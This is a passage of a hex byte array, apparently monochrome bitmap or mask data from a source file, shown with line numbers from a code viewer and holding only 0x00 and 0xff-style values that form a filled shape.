0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00, 137 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff, 138 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 139 | 0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 140 | 0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 141 | 0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00, 142 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff, 143 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 144 | 0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 145 | 0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 146 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00, 147 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff, 148 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 149 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 150 | 0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 151 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00, 152 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff, 153 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 154 | 0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 155 | 0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 156 | 0xc0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00, 157 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff, 158 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 159 | 0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 160 | 0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 161 | 0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00, 162 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff, 163 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 164 | 0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 165 | 0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 166 | 0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00, 167 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff, 168 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 169 | 0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 170 | 0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 171 | 0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00, 172 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff, 173 | 0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 174 | 0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 175 | 0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 176 | 0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00, 177 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff, 178 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 179 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 180 | 0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 181 | 0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00, 182 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff, 183 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 184 | 0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 185 | 0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0, 186 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00, 187 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff, 188 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00, 189 | 0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 190 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 191 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01, 192 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff, 193 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00, 194 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 195 | 0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff, 196 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 197 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff, 198 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00, 199 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 200 | 0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff, 201 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 202 | 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff, 203 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00, 204 | 0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 205 | 0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, 206 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 207 | 0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 208 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00, 209 | 0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 210 | 0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff, 211 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 212 | 0xff,0x07,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 213 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00, 214 | 0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 215 | 0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff, 216 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 217 | 0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 218 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00, 219 | 0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 220 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0xfe,0xff,0xff, 221 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 222 | 0xff,0xff,0x03,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 223 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00, 224 | 0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 225 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x80,0xff,0xff,0xff, 226 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 227 | 0xff,0xff,0x1f,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 228 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00, 229 | 0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 230 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0xc0,0xff,0xff,0xff, 231 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 232 | 0xff,0xff,0x3f,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 233 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00, 234 | 0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 235 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0xe0,0xff,0xff,0xff, 236 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 237 | 0xff,0xff,0xff,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 238 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00, 239 | 0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 240 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0xf0,0xff,0xff,0xff, 241 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 242 | 0xff,0xff,0xff,0x01,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 243 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00, 244 | 0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 245 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0xff,0xff,0xff, 246 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 247 | 0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 248 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00, 249 | 0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 250 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfc,0xff,0xff,0xff, 251 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 252 | 0xff,0xff,0xff,0x07,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 253 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00, 254 | 0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 255 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff, 256 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 257 | 0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 258 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00, 259 | 0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 260 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff, 261 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 262 | 0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 263 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00, 264 | 0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 265 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff, 266 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 267 | 0xff,0xff,0xff,0x03,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 268 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00, 269 | 0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 270 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0xff,0xff,0xff, 271 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 272 | 0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 273 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00, 274 | 0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 275 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0xf8,0xff,0xff,0xff, 276 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 277 | 0xff,0xff,0xff,0x01,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 278 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00, 279 | 0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 280 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xf0,0xff,0xff,0xff, 281 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 282 | 0xff,0xff,0xff,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 283 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00, 284 | 0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 285 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0xc0,0xff,0xff,0xff, 286 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 287 | 0xff,0xff,0x1f,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 288 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00, 289 | 0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 290 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0xfe,0xff,0xff, 291 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 292 | 0xff,0xff,0x03,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 293 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0xff,0xff,0xff,0x00,0x00,0x00, 294 | 0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 295 | 0xff,0xff,0xff,0x3f,0xfc,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8, 296 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0xf0, 297 | 0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff, 298 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0xc0,0x7f,0x00,0x00,0x00,0x00, 299 | 0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 300 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8, 301 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 302 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff, 303 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 304 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 305 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 306 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 307 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff, 308 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 309 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 310 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 311 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 312 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff, 313 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 314 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 315 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 316 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 317 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff, 318 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 319 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 320 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 321 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 322 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff, 323 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 324 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 325 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 326 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 327 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff, 328 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 329 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 330 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 331 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 332 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff, 333 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 334 | 0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 335 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe, 336 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00, 337 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff, 338 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00, 339 | 0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 340 | 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff, 341 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00, 342 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff, 343 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00, 344 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 345 | 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff, 346 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00, 347 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff, 348 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00, 349 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 350 | 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff, 351 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00, 352 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff, 353 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00, 354 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 355 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff, 356 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 357 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff, 358 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 359 | 0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 360 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff, 361 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00, 362 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff, 363 | 